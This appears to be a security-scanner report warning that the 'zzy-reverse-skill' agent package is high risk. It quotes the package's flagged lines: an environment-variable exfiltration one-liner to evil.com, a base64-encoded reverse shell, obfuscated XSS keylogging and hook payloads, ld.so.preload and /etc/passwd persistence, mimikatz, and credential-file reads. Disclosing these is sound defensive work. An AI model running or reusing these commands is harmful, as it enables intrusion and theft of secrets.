zzy-reverse-skill
10 / 100 · High risk
Only if you trust the author.
By longwangjiang88/SusuAIOverclock-pojia (GitHub) · other · 42 stars · scanned at commit 667b2db
Reverse Engineering Skills Master Control。本目录收录了一系列逆向工程相关的技能模块,每个子目录是一个独立模块,内含 `SKILL.md` 描述其适用场景、工具链和工作流程
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 178 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/CONTRIBUTING.md, line 359
| npx 启动型 | 通过 `npx -y @xxx/yyy` 拉起,无需本地项目 | jshookmcp | `npm-mcp` | - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/api-security/references/jwt-oauth-testing.md, line 113
pip install jwt-tool pyjwt - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/references/android-advanced.md, line 346
| Frida | 动态 Hook | `pip install frida-tools` |
Show 17 more
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/references/android-advanced.md, line 347
| Objection | Frida 封装(更易用) | `pip install objection` | - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/references/frida-bypass-kit.md, line 43
pip install frida-tools - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/scripts/frida-run.ps1, line 73
Write-Host "INFO: $Name not found, attempting auto-bootstrap (pip install frida-tools)..." -ForegroundColor Yellow - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/scripts/frida-run.ps1, line 87
throw "Missing required CLI tool: $Name — install with: pip install frida-tools" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/scripts/frida-run.sh, line 54
echo "ERR: frida 不可用。安装: pip3 install frida-tools" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/scripts/rebuild-sign-install.sh, line 73
zipalign|apksigner) echo " 安装: sudo apt install android-sdk-build-tools 或 sdkmanager 'build-tools;35.0.0'" ;; - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/browser-automation/references/playwright-cheatsheet.md, line 392
npm install -g playwright - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/browser-automation/references/playwright-cheatsheet.md, line 393
npx playwright install # 下载浏览器引擎 - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/browser-automation/references/playwright-cheatsheet.md, line 396
npm install -g agent-browser - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/browser-automation/scripts/setup.ps1, line 56
& npm install -g agent-browser - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/browser-automation/scripts/setup.ps1, line 58
Write-Warning "agent-browser global install failed. Trying npx fallback..." - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/browser-automation/scripts/setup.ps1, line 71
& npx playwright install chromium - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/browser-automation/scripts/setup.ps1, line 73
Write-Warning "Playwright browser install failed. You may need to run: npx playwright install chromium" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/browser-automation/scripts/setup.ps1, line 111
$npxCheck = Get-Command npx -ErrorAction SilentlyContinue - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/browser-automation/scripts/setup.ps1, line 113
"agent-browser=npx agent-browser" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/browser-automation/scripts/setup.ps1, line 118
throw "agent-browser installation failed. Install manually: npm install -g agent-browser" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/diagram-generator/SKILL.md, line 152
| Mermaid CLI (mmdc) | ✓ | npm install -g @mermaid-js/mermaid-cli | 渲染 Mermaid 为 PNG/SVG |
and 158 more places
Runs commands on your computer
The author does not mention this.
Found in 181 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/SKILL.md, line 132
jadx -d jadx_out app.apk - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/SKILL.md, line 149
apktool d app.apk -o apktool_out - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/SKILL.md, line 164
frida-ps -U
Show 17 more
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/SKILL.md, line 181
adb devices - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/SKILL.md, line 250
apktool b apktool_out -o rebuilt.apk - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/SKILL.md, line 321
jadx -d jadx_out app.apk - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 90
subfinder -d target.com -o subdomains.txt - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 123
cat js_urls.txt | while read url; do - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 155
whatweb -i alive.txt --log-json=fingerprint.json - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 183
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 240
fluxion # 交互式选择目标 AP → 创建伪造热点 → 捕获 WPA 密码 - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 250
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 263
aws s3 ls s3://target-bucket --no-sign-request - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 302
find / -perm -4000 -type f 2>/dev/null - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 342
aws iam list-attached-user-policies --user-name compromised-user - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 358
mimikatz# sekurlsa::logonpasswords - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 374
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 390
wmiexec.py domain/admin:password@target_ip "whoami" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 413
responder -I eth0 - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 426
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip
and 161 more places
Sends data to these websites: api.target.com, vpn.target.com, 169.254.169.254, api.certspotter.com, cross.{target_proxy_root}, {target}, {proxy}
The author does not mention this.
Found in 808 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/references/apk-security-checklist.md, line 178
curl -H "Authorization: Bearer USER_A_TOKEN" \ - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/apk-reverse/references/apk-security-checklist.md, line 188
curl -X POST "https://api.target.com/verify" \ - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 124
curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
Show 17 more
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 250
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 253
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 266
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/binary-diff/references/prompt-template.md, line 98
resp = httpx.post(api_url, json={ - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/browser-automation/references/playwright-cheatsheet.md, line 231
const response = await route.fetch(); - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/2026-05-17_pentest-vue-spa-actuator-leak.md, line 59
- `curl` / `Invoke-WebRequest` (PowerShell): HTTP 请求 - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 24
curl 'https://api.certspotter.com/v1/issuances?domain={target_proxy_root}&include_subdomains=true&expand=dns_names' - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 29
curl -I https://cross.{target_proxy_root}/ - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 35
- 出口 `Origin`/`Referer` 自动改写成目标 URL 的源(Worker `fetch()` 默认行为) - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 42
- **结论**: CF Worker `fetch()` 内置的 private IP block 在最终目标层强制生效,**编码/重定向都没用** - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 50
- 用 `curl -c jar.txt` 抓 cookie → cookie jar 把 cookie 注册到 `.{target_proxy_root}` 域 - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 65
| `Invoke-WebRequest` 探响应头报 "Operation is not valid due to the current state of the object" | Windows PowerShell 5.1 处理 302 + 复杂头部出 bug | 直接用 Bash + curl | 2 分钟 - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 78
curl -s 'https://{target}/.well-known/cloudflare-access-protected-resource/' - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 81
curl -s 'https://api.certspotter.com/v1/issuances?domain={root}&include_subdomains=true&expand=dns_names' - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 84
curl -s 'https://{proxy}/?url=https%3A%2F%2Fhttpbin.org%2Fanything' | jq '.headers, .origin' - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 91
curl -c jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2F{attacker_host}%2Fset-cookie' - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 95
curl -b jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fcookies'
and 788 more places
Changes files outside its own folder
The author does not mention this.
Found in 11 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 480
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/attack-chain/SKILL.md, line 486
cat > /etc/systemd/system/update.service << 'EOF' - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/firmware-pentest/references/emba-automated-analysis.md, line 165
cp my_rule.yar ~/tools/emba/external/yara/
Show 8 more
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/firmware-pentest/references/emba-automated-analysis.md, line 168
cp my_rule.yaml ~/tools/emba/config/semgrep_rules/ - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/firmware-pentest/references/emulation-and-fuzz.md, line 32
cp /usr/bin/qemu-mipsel-static squashfs-root/usr/bin/ - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/firmware-pentest/references/emulation-and-fuzz.md, line 131
echo "wan_ipaddr=192.168.0.100" >> ~/tools/firmadyne/nvram_files/nvram.default - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/firmware-pentest/references/emulation-and-fuzz.md, line 132
echo "lan_ifname=br0" >> ~/tools/firmadyne/nvram_files/nvram.default - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/network-attack-defense.md, line 128
| 可写 /etc/passwd | `echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd` | - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/缓存与cdn安全.md, line 446
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md, line 1961
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/scripts/bootstrap-reverse.sh, line 142
- Override install root with REVERSE_SKILL_TOOLS_DIR=~/tools.
Can call paid AI services billed to you
The author does not mention this.
Found in 2 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/binary-diff/references/prompt-template.md, line 166
api_url: "https://api.openai.com/v1/chat/completions" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/binary-diff/references/prompt-template.md, line 171
api_url: "https://api.anthropic.com/v1/messages"
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 10 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/field-journal/precedent-pentest.md, line 441
□ cat ~/.aws/credentials ~/.azure/accessTokens.json ~/.config/gcloud/credentials.json - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 258
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 1212
"command": "cat /root/.bash_history\ncat ~/.ssh/authorized_keys\ncat /etc/shadow\nfind / -name \"*.key\" 2>/dev/null",
Show 7 more
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 4141
"command": "https://attacker_ip:7443\n# 默认账号: mythic_admin\n# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD", - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/tools/权限提升.md, line 88
cat ~/.ssh/authorized_keys - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 906
with open("/root/.ssh/id_rsa", "r") as f: - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 137
/root/.ssh/authorized_keys /root/.ssh/id_rsa - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 246
读到 /home/web/.ssh/id_rsa → SSH 私钥(不要使用) - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 288
→ 横向(看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json) - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 4423
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
Contains code that is hidden or hard to read
The author does not mention this.
Found in 15 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 157
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套 - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 124
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 426
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash
Show 12 more
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 955
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1307
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1311
- `var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Ima - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1441
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1445
- `eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 222
| 命令字过滤 | base64:`echo Y2F0IC9ldGMvcGFzc3dk \| base64 -d \| sh` | - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2254
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2432
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 135
eval(atob('YWxlcnQoMSk=')) - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 877
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1079
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1156
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK
Safer alternatives
Low-risk skills in the same category (other) that look related. Check that one does what you need.
- 100 Low riskbrowser-extension-reversezhaoxuya520/reverse-skill · 44,484 stars
- 100 Low riskprotocol-reversezhaoxuya520/reverse-skill · 44,484 stars
- 100 Low riskreverse-engineering-ransomware-encryption-routineplurigrid/asi · 72 stars
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'zzy-reverse-skill' ] || [ -L ~/.agents/skills/'zzy-reverse-skill' ]; then echo 'A skill folder named zzy-reverse-skill already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/longwangjiang88/SusuAIOverclock-pojia' "$d" && git -C "$d" checkout --quiet '667b2db2746516eae05412bbdcad77515d528f37' -- 'packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills' && mkdir -p ~/.agents/skills && cp -R "$d"/'packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills' ~/.agents/skills/'zzy-reverse-skill' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'zzy-reverse-skill' ~/.claude/skills/'zzy-reverse-skill' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for longwangjiang88/SusuAIOverclock-pojia shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/longwangjiang88/SusuAIOverclock-pojia/)
Score history
| Date | Version | Score |
|---|---|---|
| 2026-11-08 | 667b2db | 20 |